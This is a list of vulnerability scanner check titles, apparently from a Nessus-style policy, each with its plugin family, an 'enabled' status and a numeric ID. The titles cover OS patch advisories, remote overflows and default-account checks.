SuSE 10 Security Update : Mozilla Firefox (ZYPP Patch Number 7491)
SuSE Local Security Checks
enabled
29516
SuSE 10 Security Update : madwifi (ZYPP Patch Number 2370)
SuSE Local Security Checks
enabled
23647
MS06-071: Vulnerabilities in Microsoft XML Core Services Could Allow Remote Code Execution (928088)
Windows : Microsoft Bulletins
enabled
16230
VERITAS Backup Exec Agent Browser Remote Buffer Overflow
Windows
enabled
53594
Firefox 3.6 < 3.6.17 Multiple Vulnerabilities
Windows
enabled
57188
SuSE 10 Security Update : flash-player (ZYPP Patch Number 7398)
SuSE Local Security Checks
enabled
54968
VMSA-2011-0009 : VMware hosted product updates, ESX patches and VI Client update resolve multiple security issues
VMware ESX Local Security Checks
enabled
18600
Serendipity XML-RPC for PHP Remote Code Injection
CGI abuses
enabled
57359
Firefox 8.x Multiple Vulnerabilities (Mac OS X)
MacOS X Local Security Checks
enabled
40143
SuSE 11.0 Security Update: tomcat6 (2008-08-21)
SuSE Local Security Checks
enabled
53562
Fedora 14 : wireshark-1.4.6-1.fc14 (2011-5569)
Fedora Local Security Checks
enabled
63372
MS KB2794220: Vulnerability in Internet Explorer Could Allow Remote Code Execution (deprecated)
Windows
enabled
21243
Novell GroupWise Messenger Accept Language Remote Overflow
Gain a shell remotely
enabled
34472
LPViewer ActiveX Control Multiple Buffer Overflow Vulnerabilities
Windows
enabled
33905
FreeBSD : ruby -- DNS spoofing vulnerability (959d384d-6b59-11dd-9d79-001fc61c2a55)
FreeBSD Local Security Checks
enabled
52067
SuSE 11.1 Security Update : Sun Java 1.6 (SAT Patch Number 3976)
SuSE Local Security Checks
enabled
63883
RHEL 4 : JBoss EAP (RHSA-2009-1144)
Red Hat Local Security Checks
enabled
55398
RHEL 4 / 5 / 6 : firefox (RHSA-2011-0885)
Red Hat Local Security Checks
enabled
22150
RHEL 4 : seamonkey (RHSA-2006-0609)
Red Hat Local Security Checks
enabled
47682
EvoCam 3.6.6 / 3.6.7 Web Server GET Request Overflow
MacOS X Local Security Checks
enabled
57462
FreeBSD 'telnetd' Daemon Remote Buffer Overflow
Gain a shell remotely
enabled
19277
RHEL 4 : thunderbird (RHSA-2005-601)
Red Hat Local Security Checks
enabled
29965
XEROX WorkCentre Multiple Samba Vulnerabilities (XRX08-001)
Misc.
enabled
47581
Novell 'modulemanager' Servlet Arbitrary File Upload (intrusive check)
CGI abuses
enabled
22161
CentOS : RHSA-2006-0603
CentOS Local Security Checks
enabled
20276
Solaris 10 (x86) : 121309-20
Solaris Local Security Checks
enabled
56426
GLSA-201110-02 : Wireshark: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
11213
HTTP TRACE / TRACK Methods Allowed
Web Servers
enabled
50568
Fedora 12 : proftpd-1.3.3c-1.fc12 (2010-17220)
Fedora Local Security Checks
enabled
63648
Debian DSA-2611-1 : movabletype-opensource - several vulnerabilities
Debian Local Security Checks
enabled
24602
Mandrake Linux Security Advisory : proftpd (MDKSA-2006:217-1)
Mandriva Local Security Checks
enabled
36552
Mandriva Linux Security Advisory : wireshark (MDVSA-2008:091)
Mandriva Local Security Checks
enabled
47047
SSA-2010-169-01 : samba
Slackware Local Security Checks
enabled
58129
SuSE 10 Security Update : flash-player (ZYPP Patch Number 7982)
SuSE Local Security Checks
enabled
51667
SuSE 11.1 Security Update : IBM Java 6 (SAT Patch Number 3724)
SuSE Local Security Checks
enabled
21952
CentOS : RHSA-2005-601
CentOS Local Security Checks
enabled
53647
SuSE 11.1 Security Update : Mozilla Firefox (SAT Patch Number 4463)
SuSE Local Security Checks
enabled
34210
Mac OS X Multiple Vulnerabilities (Security Update 2008-006)
MacOS X Local Security Checks
enabled
53534
IBM Lotus Domino iCalendar Email Address ORGANIZER:mailto Header Remote Overflow
SMTP problems
enabled
42857
SuSE 11 Security Update : Sun Java 1.6.0 (SAT Patch Number 1542)
SuSE Local Security Checks
enabled
50919
SuSE 11 / 11.1 Security Update : Java 1.6.0 (SAT Patch Numbers 3347 / 3349)
SuSE Local Security Checks
enabled
51164
MS10-092: Vulnerability in Task Scheduler Could Allow Elevation of Privilege (2305420)
Windows : Microsoft Bulletins
enabled
24813
Apache mod_jk Long URL Worker Map Stack Remote Overflow
CGI abuses
enabled
61996
EMail Security Virtual Appliance learn-msg.cgi Remote Code Execution
CGI abuses
enabled
22196
eIQnetworks Enterprise Security Analyzer Monitoring.exe Multiple Command Overflow
Windows
enabled
29973
HP-UX PHSS_37399 : HP OpenView Operations (OVO) Agents Running Shared Trace Service, Remote Arbitrary Code Execution (HPSBMA02239 SSRT061260 rev.3)
HP-UX Local Security Checks
enabled
63206
ManageEngine Security Manager Plus 'f' Directory Traversal Arbitrary File Access
CGI abuses
enabled
55407
USN-1149-1 : firefox, xulrunner-1.9.2 vulnerabilities
Ubuntu Local Security Checks
enabled
55409
USN-1157-2 : mozvoikko, ubufox, webfav update
Ubuntu Local Security Checks
enabled
34091
GLSA-200809-02 : dnsmasq: Denial of Service and DNS spoofing
Gentoo Local Security Checks
enabled
58037
USN-1369-1 : thunderbird vulnerabilities
Ubuntu Local Security Checks
enabled
62293
SAP Host Control SOAP Web Service 'Database/Name' Command Execution (SAP Note 1341333)
CGI abuses
enabled
35221
MS08-078: Microsoft Internet Explorer Security Update (960714)
Windows : Microsoft Bulletins
enabled
46300
RHEL 4 / 5 : java-1.6.0-sun (RHSA-2010-0356)
Red Hat Local Security Checks
enabled
44730
Debian DSA-1865-1 : linux-2.6 - denial of service/privilege escalation
Debian Local Security Checks
enabled
27599
FLEXnet Connect Update Service ActiveX Control Multiple Code Execution Vulnerabilities
Windows
enabled
53630
RHEL 4 : gstreamer-plugins (RHSA-2011-0477)
Red Hat Local Security Checks
enabled
62099
HP SiteScope getFileInternal Arbitrary File Download
CGI abuses
enabled
37147
Fedora 10 : java-1.6.0-openjdk-1.6.0.0-7.b12.fc10 (2008-10913)
Fedora Local Security Checks
enabled
56047
RHEL 6 : rsyslog (RHSA-2011-1247)
Red Hat Local Security Checks
enabled
44620
ZABBIX node_process_command() Function Crafted Request Arbitrary Command Execution
Misc.
enabled
17590
RHEL 3 : realplayer (RHSA-2005-299)
Red Hat Local Security Checks
enabled
50917
SuSE 11 Security Update : Sun Java 6 (SAT Patch Number 2225)
SuSE Local Security Checks
enabled
43079
RHEL 4 / 5 : java-1.5.0-ibm (RHSA-2009-1647)
Red Hat Local Security Checks
enabled
35374
Oracle WebLogic Server Plug-in Remote Overflow (1166189)
Web Servers
enabled
60350
Scientific Linux Security Update : wireshark on SL3.x, SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
11266
Unpassworded 'jill' Account
Default Unix Accounts
enabled
42977
Altiris ConsoleUtilities ActiveX RunCmd Method Overflow
Windows
enabled
57512
Debian DSA-2372-1 : heimdal - buffer overflow
Debian Local Security Checks
enabled
58480
SuSE 10 Security Update : PHP5 (ZYPP Patch Number 8009)
SuSE Local Security Checks
enabled
21564
VNC Security Type Enforcement Failure Remote Authentication Bypass
Misc.
enabled
55082
USN-1122-3 : thunderbird regression
Ubuntu Local Security Checks
enabled
35655
TYPO3 jumpUrl Mechanism Information Disclosure
CGI abuses
enabled
13427
Solaris 8 (x86) : 109321-22
Solaris Local Security Checks
enabled
31605
Mac OS X Multiple Vulnerabilities (Security Update 2008-002)
MacOS X Local Security Checks
enabled
61231
Scientific Linux Security Update : thunderbird on SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
60869
Scientific Linux Security Update : java (jdk 1.6.0) on SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
15771
Ipswitch IMail IMAP Service DELETE Command Remote Overflow
Windows
enabled
34185
Fedora 9 : tomcat6-6.0.18-1.1.fc9 (2008-7977)
Fedora Local Security Checks
enabled
10998
Shiva LanRover Blank Password
Misc.
enabled
48374
Adobe Acrobat < 9.3.4 / 8.2.4 Multiple Vulnerabilities (APSB10-17)
Windows
enabled
57874
USN-1353-1 : xulrunner-1.9.2 vulnerabilities
Ubuntu Local Security Checks
enabled
53657
SuSE 11.1 Security Update: exim (2010-12-11)
SuSE Local Security Checks
enabled
43703
CentOS : RHSA-2008-0648
CentOS Local Security Checks
enabled
53485
SuSE 11.1 Security Update : flash-player (SAT Patch Number 4400)
SuSE Local Security Checks
enabled
34434
Titan FTP Server SITE WHO Command Resource Consumption DoS
FTP
enabled
11841
Solaris sadmind AUTH_SYS Credential Remote Command Execution
Gain a shell remotely
enabled
55552
HP Data Protector <= A.06.20 Multiple Vulnerabilities (uncredentialed check)
Gain a shell remotely
enabled
44993
VMSA-2010-0004 : ESX Service Console and vMA third party updates
VMware ESX Local Security Checks
enabled
34942
SuSE 10 Security Update : Acrobat Reader (ZYPP Patch Number 5746)
SuSE Local Security Checks
enabled
27055
ProFTPD < 1.3.0a Multiple Vulnerabilities
FTP
enabled
13321
Solaris 8 (sparc) : 109326-24
Solaris Local Security Checks
enabled
25297
Mac OS X Multiple Vulnerabilities (Security Update 2007-005)
MacOS X Local Security Checks
enabled
41527
SuSE 10 Security Update : IBM Java 1.5.0 (ZYPP Patch Number 5960)
SuSE Local Security Checks
enabled
34338
phpScheduleIt reserve.php start_date Parameter Arbitrary Command Injection
CGI abuses
enabled
45006
Energizer DUO USB Battery Charger Software Backdoor (credentialed check)
Backdoors
enabled
29354
SuSE 10 Security Update : Firefox (ZYPP Patch Number 1960)
SuSE Local Security Checks
enabled
40354
OpenWrt Router with a Blank Password (telnet check)
CGI abuses
enabled
37381
USN-713-1 : openjdk-6 vulnerabilities
Ubuntu Local Security Checks
enabled
40382
VMSA-2008-0014 : Updates to VMware Workstation, VMware Player, VMware ACE, VMware Server, VMware ESX, VMware VCB address information disclosure, privilege escalation and other security issues.
VMware ESX Local Security Checks
enabled
25100
Debian DSA-1283-1 : php5 - several vulnerabilities
Debian Local Security Checks
enabled
51697
SuSE 10 Security Update : Acrobat Reader (ZYPP Patch Number 6879)
SuSE Local Security Checks
enabled
55080
USN-1122-1 : thunderbird vulnerabilities
Ubuntu Local Security Checks
enabled
61028
Scientific Linux Security Update : thunderbird on SL4.x,SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
43361
HP-UX PHSS_39640 : HP OpenView Network Node Manager (OV NNM), Remote Execution of Arbitrary Code (HPSBMA02416 SSRT090008 rev.5)
HP-UX Local Security Checks
enabled
18606
GLSA-200507-02 : WordPress: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
22097
SeaMonkey < 1.0.3 Multiple Vulnerabilities
Windows
enabled
57540
Apache Tomcat 5.x < 5.5.35 Hash Collision Denial of Service
Web Servers
enabled
33865
RHEL 5 : dnsmasq (RHSA-2008-0789)
Red Hat Local Security Checks
enabled
35632
MS09-004: Vulnerability in Microsoft SQL Server Could Allow Remote Code Execution (959420)
Windows : Microsoft Bulletins
enabled
56292
Fedora 15 : rsyslog-5.8.5-1.fc15 (2011-12616)
Fedora Local Security Checks
enabled
57769
Firefox 3.6.x < 3.6.26 Multiple Vulnerabilities
Windows
enabled
24909
TestDirector (TD) for Mercury Quality Center SPIDERLib.Loader ActiveX Control (Spider90.ocx) ProgColor Property Overflow
Windows
enabled
33907
FreeBSD : ruby -- DoS vulnerability in WEBrick (f7ba20aa-6b5a-11dd-9d79-001fc61c2a55)
FreeBSD Local Security Checks
enabled
42851
SuSE 11.0 Security Update: java-1_6_0-sun (2009-11-13)
SuSE Local Security Checks
enabled
13405
Solaris 8 (sparc) : 116455-01
Solaris Local Security Checks
enabled
57353
SeaMonkey 2.x < 2.6.0 Multiple Vulnerabilities
Windows
enabled
12054
MS04-007: ASN.1 Vulnerability Could Allow Code Execution (828028) (uncredentialed check)
Windows
enabled
41238
SuSE9 Security Update : Tomcat (YOU Patch Number 12232)
SuSE Local Security Checks
enabled
25085
LANDesk Management Suite Alert Service (aolnsrvr.exe) Remote Overflow
Windows
enabled
45004
Apache 2.2 < 2.2.15 Multiple Vulnerabilities
Web Servers
enabled
53482
RHEL 5 / 6 : flash-plugin (RHSA-2011-0451)
Red Hat Local Security Checks
enabled
15962
MS04-045: WINS Code Execution (870763)
Windows : Microsoft Bulletins
enabled
57658
SuSE 10 Security Update : IBM Java (ZYPP Patch Number 7926)
SuSE Local Security Checks
enabled
43141
HP-UX PHSS_37383 : s700_800 11.23 OV DP5.50 IA-64 patch - CORE packet
HP-UX Local Security Checks
enabled
25122
Quicktime < 7.1.6 quicktime.util.QTHandleRef toQTPointer Method Arbitrary Code Execution (Mac OS X)
MacOS X Local Security Checks
enabled
61769
RHEL 6 : java-1.7.0-openjdk (RHSA-2012-1223)
Red Hat Local Security Checks
enabled
15780
phpBB viewtopic.php highlight Parameter SQL Injection
CGI abuses
enabled
45544
Oracle Java JDK / JRE 6 < Update 20 Multiple Vulnerabilities
Windows
enabled
18403
Hummingbird InetD LPD Component (Lpdw.exe) Data Overflow
Gain a shell remotely
enabled
50467
SuSE 11.2 Security Update: seamonkey (2010-10-28)
SuSE Local Security Checks
enabled
40316
SuSE 11.1 Security Update: tomcat6 (2009-06-13)
SuSE Local Security Checks
enabled
44109
HP Power Manager < 4.2.10
CGI abuses
enabled
11838
Sendmail < 8.12.10 prescan() Function Remote Overflow
SMTP problems
enabled
46673
Mac OS X : Java for Mac OS X 10.5 Update 7
MacOS X Local Security Checks
enabled
16232
VERITAS Backup Exec Agent Browser Registration Request Remote Overflow
Gain a shell remotely
enabled
43071
CentOS : RHSA-2009-1648
CentOS Local Security Checks
enabled
56512
MyBB 1.6.4 Backdoor PHP Code Execution
CGI abuses
enabled
32353
GLSA-200805-16 : OpenOffice.org: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
50022
RealPlayer Enterprise for Windows < Build 6.0.12.1823 Multiple Vulnerabilities
Windows
enabled
24686
FreeBSD : snort -- DCE/RPC preprocessor vulnerability (afdf500f-c1f6-11db-95c5-000c6ec775d9)
FreeBSD Local Security Checks
enabled
23773
Solaris 5.9 (x86) : 120672-08
Solaris Local Security Checks
enabled
10357
Microsoft IIS MDAC RDS (msadcs.dll) Arbitrary Remote Command Execution
Web Servers
enabled
13508
Solaris 8 (x86) : 116442-01
Solaris Local Security Checks
enabled
21124
GLSA-200603-17 : PeerCast: Buffer overflow
Gentoo Local Security Checks
enabled
31383
GLSA-200803-08 : Win32 binary codecs: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
60390
Scientific Linux Security Update : openoffice.org on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
11161
Microsoft Data Access Components RDS Data Stub Remote Overflow
Web Servers
enabled
43859
SuSE 10 Security Update : IBM Java 1.4.2 (ZYPP Patch Number 6757)
SuSE Local Security Checks
enabled
30152
Facebook Photo Uploader ActiveX Control < 4.5.57.1 Multiple Buffer Overflows
Windows
enabled
43871
SuSE 11.2 Security Update: ntp (2009-12-15)
SuSE Local Security Checks
enabled
43048
RHEL 3 / 4 / 5 : java-1.4.2-ibm (RHSA-2009-1643)
Red Hat Local Security Checks
enabled
33464
USN-622-1 : Bind vulnerability
Ubuntu Local Security Checks
enabled
17160
TrackerCam Multiple Remote Vulnerabilities
CGI abuses
enabled
34387
Debian DSA-1651-1 : ruby1.8 - several vulnerabilities
Debian Local Security Checks
enabled
63928
RHEL 4 : JBoss EAP (RHSA-2010-0376)
Red Hat Local Security Checks
enabled
22904
Debian DSA-1190-1 : maxdb-7.5.00 - buffer overflow
Debian Local Security Checks
enabled
10820
F5 Device Default Support Password
Misc.
enabled
52021
RHEL 4 / 5 / 6 : java-1.6.0-sun (RHSA-2011-0282)
Red Hat Local Security Checks
enabled
53533
Zend Server Java Bridge Arbitrary Java Code Execution
Misc.
enabled
18974
FreeBSD : gld -- format string and buffer overflow vulnerabilities (6c2d4f29-af3e-11d9-837d-000e0c2e438a)
FreeBSD Local Security Checks
enabled
59490
RHEL 5 : java-1.6.0-openjdk (RHSA-2012-0730)
Red Hat Local Security Checks
enabled
55931
Oracle GlassFish Server Administration Console GET Request Authentication Bypass
CGI abuses
enabled
27430
SuSE Security Update: samba security update (samba-3350)
SuSE Local Security Checks
enabled
63326
Advanced Custom Fields Plugin for WordPress acf_abspath Parameter Remote File Inclusion
CGI abuses
enabled
22536
MS06-063: Vulnerability in Server Service Could Allow Denial of Service (923414)
Windows : Microsoft Bulletins
enabled
56142
SSA-2011-252-01 : httpd
Slackware Local Security Checks
enabled
55159
RHEL 5 / 6 : flash-plugin (RHSA-2011-0869)
Red Hat Local Security Checks
enabled
22282
CentOS : RHSA-2006-0648
CentOS Local Security Checks
enabled
56454
MS11-080: Vulnerability in Ancillary Function Driver Could Allow Elevation of Privilege (2592799)
Windows : Microsoft Bulletins
enabled
51695
SuSE 10 Security Update : acroread (ZYPP Patch Number 6802)
SuSE Local Security Checks
enabled
61329
Scientific Linux Security Update : java-1.6.0-openjdk on SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
63912
RHEL 4 : acroread (RHSA-2010-0038)
Red Hat Local Security Checks
enabled
40658
USN-819-1 : linux, linux-source-2.6.15 vulnerability
Ubuntu Local Security Checks
enabled
52969
SuSE 10 Security Update : flash-player (ZYPP Patch Number 7391)
SuSE Local Security Checks
enabled
29998
Winamp < 5.52 Ultravox Streaming Metadata in_mp3.dll Multiple Tag Overflow
Windows
enabled
15826
GLSA-200411-32 : phpBB: Remote command execution
Gentoo Local Security Checks
enabled
57089
SuSE 11.1 Security Update : Apache2 (SAT Patch Number 5344)
SuSE Local Security Checks
enabled
58685
CentOS : RHSA-2012-0474
CentOS Local Security Checks
enabled
39919
SuSE 11.0 Security Update: avahi (2008-12-18)
SuSE Local Security Checks
enabled
43120
Fedora 12 : ntp-4.2.4p8-1.fc12 (2009-13046)
Fedora Local Security Checks
enabled
49173
Adobe Reader < 9.4 / 8.2.5 Multiple Vulnerabilities (APSB10-21)
Windows
enabled
61219
Scientific Linux Security Update : php53 and php on SL5.x, SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
33895
SuSE Security Update: dnsmasq: random UDP ports and random TRXID (dnsmasq-5512)
SuSE Local Security Checks
enabled
61214
Scientific Linux Security Update : krb5 on SL4.x, SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
51851
VLC Media Player < 1.1.7 MKV Input Validation Vulnerability
Windows
enabled
45379
Oracle Java SE Multiple Vulnerabilities (March 2010 CPU)
Windows
enabled
62598
CentOS : RHSA-2012-1386
CentOS Local Security Checks
enabled
19269
Mozilla Thunderbird < 1.0.6 Multiple Vulnerabilities
Windows
enabled
11246
Unpassworded 'lp' Account
Default Unix Accounts
enabled
22954
Solaris 10 (sparc) : 119115-35
Solaris Local Security Checks
enabled
57776
Thunderbird 3.1 < 3.1.18 Multiple Vulnerabilities (Mac OS X)
MacOS X Local Security Checks
enabled
31351
Symantec Backup Exec Calendar ActiveX Control Multiple Vulnerabilities (SYM08-007)
Windows
enabled
61770
RHEL 6 : java-1.7.0-oracle (RHSA-2012-1225)
Red Hat Local Security Checks
enabled
31851
Novell eDirectory eMBox Utility Unauthorized Access (uncredentialed check)
Misc.
enabled
45072
SuSE 11.0 Security Update: wireshark (2010-02-03)
SuSE Local Security Checks
enabled
22152
SSA-2006-209-01 : Apache httpd
Slackware Local Security Checks
enabled
58811
HP System Management Homepage < 7.0 Multiple Vulnerabilities
Web Servers
enabled
34970
Apache Tomcat Manager Common Administrative Credentials
Web Servers
enabled
36012
FreeBSD : phpmyadmin -- insufficient output sanitizing when generating configuration file (06f9174f-190f-11de-b2f0-001c2514716c)
FreeBSD Local Security Checks
enabled
24275
Default Password (informix) for 'informix' Account
Default Unix Accounts
enabled
61029
Scientific Linux Security Update : thunderbird on SL6.x i386/x86_64
Scientific Linux Local Security Checks
enabled
42106
MS09-050: Vulnerabilities in SMBv2 Could Allow Remote Code Execution (975517)
Windows : Microsoft Bulletins
enabled
35641
FreeBSD : typo3 -- cross-site scripting and information disclosure (cc47fafe-f823-11dd-94d9-0030843d3802)
FreeBSD Local Security Checks
enabled
41946
Adobe RoboHelp Server Security Bypass (APSA09-05)
CGI abuses
enabled
36087
Autodesk IDrop ActiveX Control Heap Corruption
Windows
enabled
51657
GLSA-201101-08 : Adobe Reader: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
31418
RealPlayer ActiveX (rmoc3260.dll) Console Property Memory Corruption Arbitrary Code Execution
Windows
enabled
40601
Fedora 10 : wordpress-mu-2.8.4a-1.fc10 (2009-8538)
Fedora Local Security Checks
enabled
57136
SuSE 11.1 Security Update : wireshark (SAT Patch Number 5281)
SuSE Local Security Checks
enabled
22169
GLSA-200608-11 : Webmin, Usermin: File Disclosure
Gentoo Local Security Checks
enabled
49088
SnortReport nmap.php target Parameter Arbitrary Command Execution
CGI abuses
enabled
57192
SuSE 10 Security Update : flash-player (ZYPP Patch Number 7571)
SuSE Local Security Checks
enabled
42460
SuSE 11.1 Security Update: java-1_5_0-sun (2009-11-09)
SuSE Local Security Checks
enabled
51718
SuSE 10 Security Update : avahi (ZYPP Patch Number 5870)
SuSE Local Security Checks
enabled
57886
SuSE 11.1 Security Update : Mozilla XULrunner (SAT Patch Number 5764)
SuSE Local Security Checks
enabled
17158
Knox Arkeia Backup Client Type 77 Request Processing Buffer Remote Overflow
Gain a shell remotely
enabled
47017
RHEL 4 / 5 : IBM Java Runtime (RHSA-2010-0471)
Red Hat Local Security Checks
enabled
44729
Debian DSA-1864-1 : linux-2.6.24 - privilege escalation
Debian Local Security Checks
enabled
56578
RHEL 6 : httpd (RHSA-2011-1391)
Red Hat Local Security Checks
enabled
43785
CentOS : RHSA-2009-1335
CentOS Local Security Checks
enabled
58672
RHEL 5 / 6 : samba (RHSA-2012-0465)
Red Hat Local Security Checks
enabled
40989
Oracle Secure Backup Administration Server Authentication Bypass
CGI abuses
enabled
52976
VLC Media Player < 1.1.8 Multiple Buffer Overflows
Windows
enabled
19532
Debian DSA-789-1 : php4 - several vulnerabilities
Debian Local Security Checks
enabled
57656
GLSA-201201-14 : MIT Kerberos 5 Applications: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
47137
SolarWinds TFTP Server < 10.4.0.13 DoS
Windows
enabled
61072
Scientific Linux Security Update : seamonkey on SL4.x i386/x86_64
Scientific Linux Local Security Checks
enabled
40262
SuSE 11.1 Security Update: libopenssl-devel (2009-06-09)
SuSE Local Security Checks
enabled
24841
GLSA-200703-16 : Apache JK Tomcat Connector: Remote execution of arbitrary code
Gentoo Local Security Checks
enabled
57576
op5 Portal Arbitrary Command Execution
CGI abuses
enabled
15815
FreeBSD : twiki -- arbitrary shell command execution (196)
FreeBSD Local Security Checks
enabled
12844
Solaris 2.5.1 (i386) : 108364-02
Solaris Local Security Checks
enabled
59851
HP System Management Homepage < 7.1.1 Multiple Vulnerabilities
Web Servers
enabled
39622
MS09-032: Cumulative Security Update of ActiveX Kill Bits (973346)
Windows
enabled
58823
Fedora 15 : samba-3.5.14-73.fc15.1 (2012-5805)
Fedora Local Security Checks
enabled
52751
SuSE 11.1 Security Update : IBM Java (SAT Patch Number 4109)
SuSE Local Security Checks
enabled
33284
EMC AlphaStor Device Manager robotd Remote Code Execution
Gain a shell remotely
enabled
63155
Microsoft Windows Unquoted Service Path Enumeration
Windows
enabled
56617
SuSE 10 Security Update : wireshark (ZYPP Patch Number 7795)
SuSE Local Security Checks
enabled
43124
Fedora 11 : ntp-4.2.4p7-3.fc11 (2009-13090)
Fedora Local Security Checks
enabled
61330
Scientific Linux Security Update : java-1.6.0-sun on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
11250
Unpassworded 'backdoor' Account
Default Unix Accounts
enabled
41561
SuSE 10 Security Update : nagios (ZYPP Patch Number 6356)
SuSE Local Security Checks
enabled
63899
RHEL 4 : kernel (RHSA-2009-1469)
Red Hat Local Security Checks
enabled
49085
VMSA-2010-0013 : VMware ESX third party updates for Service Console
VMware ESX Local Security Checks
enabled
39570
GLSA-200906-03 : phpMyAdmin: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
10747
3Com Superstack 3 Switch Multiple Default Accounts
Misc.
enabled
34374
Mac OS X Multiple Vulnerabilities (Security Update 2008-007)
MacOS X Local Security Checks
enabled
42441
MS09-067: Vulnerabilities in Microsoft Office Excel Could Allow Remote Code Execution (972652)
Windows : Microsoft Bulletins
enabled
63338
Novell eDirectory 8.8.x Multiple Security Vulnerabilities
Misc.
enabled
43137
HP-UX PHSS_36623 : s700_800 11.X OV DP6.00 IA-64 patch - CORE packet
HP-UX Local Security Checks
enabled
29249
HP OpenView Network Node Manager Multiple CGI Remote Overflows
CGI abuses
enabled
40108
SuSE 11.0 Security Update: phpMyAdmin (2009-04-01)
SuSE Local Security Checks
enabled
50883
SuSE 11 / 11.1 Security Update : Acrobat Reader (SAT Patch Numbers 3008 / 3009)
SuSE Local Security Checks
enabled
62593
Oracle Java SE Multiple Vulnerabilities (October 2012 CPU)
Windows
enabled
63935
RHEL 5 : flash-plugin (RHSA-2010-0464)
Red Hat Local Security Checks
enabled
20318
Novell NetMail IMAP Agent Long Verb Arguments Remote Overflow
Gain a shell remotely
enabled
34084
Default Password (trans) for 'trans' Account
Default Unix Accounts
enabled
35038
RHEL 4 / 5 : ruby (RHSA-2008-0981)
Red Hat Local Security Checks
enabled
63678
Scientific Linux Security Update : mysql on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
24240
CA BrightStor ARCserve Backup for Laptops & Desktops Server Multiple Vulnerabilities (QO83833)
Windows
enabled
62010
Symantec Messaging Gateway 9.5.x Multiple Vulnerabilities (SYM12-013)
CGI abuses
enabled
48323
QuickTime < 7.6.7 QuickTimeStreaming.qtx SMIL File Debug Logging Overflow (Windows)
Windows
enabled
10943
MS02-018: Cumulative Patch for Internet Information Services (327696)
Windows : Microsoft Bulletins
enabled
45378
MS10-018: Cumulative Security Update for Internet Explorer (980182)
Windows : Microsoft Bulletins
enabled
23712
HP-UX PHSS_35110 : s700_800 11.04 Webproxy server 2.0 update
HP-UX Local Security Checks
enabled
21211
MS06-014: Vulnerability in MDAC Could Allow Code Execution (911562)
Windows : Microsoft Bulletins
enabled
31640
MDaemon IMAP Server FETCH Command Remote Buffer Overflow
Windows
enabled
44429
FreeBSD : wireshark -- LWRES vulnerability (bb0a8795-15dc-11df-bf0a-002170daae37)
FreeBSD Local Security Checks
enabled
60658
Scientific Linux Security Update : openssl on SL5.x i386/x86_64
Scientific Linux Local Security Checks
enabled
33285
EMC AlphaStor Library Manager Remote Code Execution
Gain a shell remotely
enabled
51946
Debian DSA-2159-1 : vlc - missing input sanitising
Debian Local Security Checks
enabled
19218
Sybase EAServer WebConsole jaqadmin Default Password
CGI abuses
enabled
35565
SuSE Security Update: avahi security update (avahi-5882)
SuSE Local Security Checks
enabled
57843
SuSE 10 Security Update : tomcat5 (ZYPP Patch Number 7933)
SuSE Local Security Checks
enabled
15037
Debian DSA-200-1 : samba - remote exploit
Debian Local Security Checks
enabled
14074
Mandrake Linux Security Advisory : sendmail (MDKSA-2003:092)
Mandriva Local Security Checks
enabled
57959
Oracle Java SE Multiple Vulnerabilities (Feb 2012 CPU)
Windows
enabled
58755
Fedora 16 : samba-3.6.4-82.fc16 (2012-5843)
Fedora Local Security Checks
enabled
45459
SuSE 11.1 Security Update: java-1_6_0-sun (2010-03-31)
SuSE Local Security Checks
enabled
44338
Wireshark / Ethereal Dissector LWRES Multiple Buffer Overflows
Windows
enabled
34821
MS08-067: Vulnerability in Server Service Could Allow Remote Code Execution (958644) (uncredentialed check / IPS)
Windows
enabled
52755
Adobe AIR < 2.6 Unspecified Memory Corruption (APSB11-05)
Windows
enabled
32478
Mac OS X Multiple Vulnerabilities (Security Update 2008-003)
MacOS X Local Security Checks
enabled
58027
RHEL 5 / 6 : flash-plugin (RHSA-2012-0144)
Red Hat Local Security Checks
enabled
12052
MS04-007: ASN.1 parsing vulnerability (828028)
Windows : Microsoft Bulletins
enabled
35271
GLSA-200812-24 : VLC: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
46304
RHEL 4 / 5 : java-1.6.0-ibm (RHSA-2010-0383)
Red Hat Local Security Checks
enabled
23721
HP-UX PHSS_35463 : s700_800 11.04 Virtualvault 4.7 (Apache 1.x) OWS update
HP-UX Local Security Checks
enabled
12422
RHEL 2.1 : sendmail (RHSA-2003-284)
Red Hat Local Security Checks
enabled
22095
Firefox < 1.5.0.5 Multiple Vulnerabilities
Windows
enabled
57631
GLSA-201201-05 : mDNSResponder: Multiple vulnerabilities
Gentoo Local Security Checks
enabled
16064
SHOUTcast Server Filename Handling Format String
CGI abuses
enabled
58389
IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile Method Boundary Error Remote Overflow
Windows
enabled
23646
MS06-070: Vulnerability in Workstation Service Could Allow Remote Code Execution (924270)
Windows : Microsoft Bulletins
enabled
39869
GLSA-200907-15 : Nagios: Execution of arbitrary code
Gentoo Local Security Checks
enabled
54987
IBM Tivoli Management Framework Endpoint addr URL Default Credentials
Web Servers
enabled
55638
Mac OS X : Safari < 5.1 / 5.0.6
MacOS X Local Security Checks
enabled
12080
Serv-U MDTM Command Overflow
FTP
enabled
45373
Mac OS X Multiple Vulnerabilities (Security Update 2010-002)
MacOS X Local Security Checks
enabled
57869
Fedora 16 : maniadrive-1.2-32.fc16.2 / php-5.3.10-1.fc16 / php-eaccelerator-0.9.6.1-9.fc16.2 (2012-1262)
Fedora Local Security Checks
enabled
59098
Fedora 16 : samba4-4.0.0-38.alpha16.fc16 (2012-6382)
Fedora Local Security Checks
enabled
63805
AIX 6.1 TL 2 : xntpd (IZ71613)
AIX Local Security Checks
enabled
59059
Debian DSA-2465-1 : php5 - several vulnerabilities
Debian Local Security Checks
enabled
10381
Piranha's RH6.2 default password
CGI abuses
